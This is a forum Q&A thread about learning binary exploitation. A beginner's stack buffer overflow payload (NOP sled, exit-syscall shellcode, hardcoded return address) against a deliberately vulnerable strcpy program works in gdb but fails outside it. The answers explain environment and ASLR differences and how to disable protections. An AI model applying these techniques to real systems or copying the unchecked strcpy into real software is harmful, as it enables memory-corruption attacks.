So I just started with reverse engineering and have run into some issues until I recently noticed something strange. I wrote an extremely simple shellcode (exit system call) for practice and I played around with it in gdb. I use the following code to create my payload:

$(python -c 'print "\x90" * 498 + "\x31\xdb\xb0\x01\xcd\x80" + "\x2c\xd1\xff\xff"')

I run this payload against the following program:

#include <string.h>

int main(int argc, char **argv)
  char buffer[500];
  strcpy(buffer, argv[1]);

I compiled the program with:

tcc -m32 -mtune=i386 -g vuln.c -fno-stack-protector

Now, here's my problem. When I run the payload against the program in gdb like this, it works perfectly.

(gdb) r $(python -c 'print "\x90" * 498 + "\x31\xdb\xb0\x01\xcd\x80" + "\x2c\xd1\xff\xff"')
Starting program: /root/exploiting/a.out $(python -c 'print "\x90" * 498 + "\x31\xdb\xb0\x01\xcd\x80" + "\x2c\xd1\xff\xff"')
[Inferior 1 (process 2573) exited normally]

However, if I run it on my command line:

root@kali:~/exploiting# ./a.out $(python -c 'print "\x90" * 498 + "\x31\xdb\xb0\x01\xcd\x80" + "\x2c\xd1\xff\xff"')
Segmentation fault

Why does this happen? Is this supposed to happen?

  • I run your code from the cmd line and don't see a Seg fault. Maybe you did something more? (I've tested on Ubuntu not Kali) Oct 31, 2017 at 21:11
  • Unless you have leaked addresses from stack, overwriting eip with a stack address is quite unreliable. GDB has a different execution environment. One trick is to use ulimit -c unlimited to get a core dump on seg fault and then debug your way from there. You can then approximate the addresses from the core dump. gdb a.out core
    – sudhackar
    Nov 1, 2017 at 3:50

3 Answers 3


gdb messes with your environment variables, and could disable ASLR. Most likely, starting gdb and running ‘unset env LINES’ and ‘unset env COLUMNS’ before throwing your shellcode will make the output line up with execution outside gdb. :)


its just about different padding size:

look this is my solution just worked fine for me you add two lines for c code to just check if the esp is same as esp you found it in gdb:

$ vi esp.c
    #include <string.h>
    #include <stdio.h>
    void main(int argc, char *argv[]) {
            char buffer[100];
            strcpy(buffer, argv[1]);
            register int i asm("esp"); //add this line 
            printf("$esp = %#010x\n", i); // and this line will print esp

after saving file compile it with gcc and prevent all security levels:

$ gcc esp.c -o esp -fno-stack-protector -no-pie -z norelro -z execstack

you change padding length until you find same esp you got it from gdb:

./esp $(python -c "print 'gdb_eip'+96*'A'")

and now after you find fine exploit in gdb go and change payload until esp = gdb esp change padding until you find same esp


I think the best way works out for me is to attach the process of the binary with gdb and using setarch -R <binary> to temporarily disable the ASLR protection only for the binary. This way the stack frame should be the same within and without gdb.

Hope this helps.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.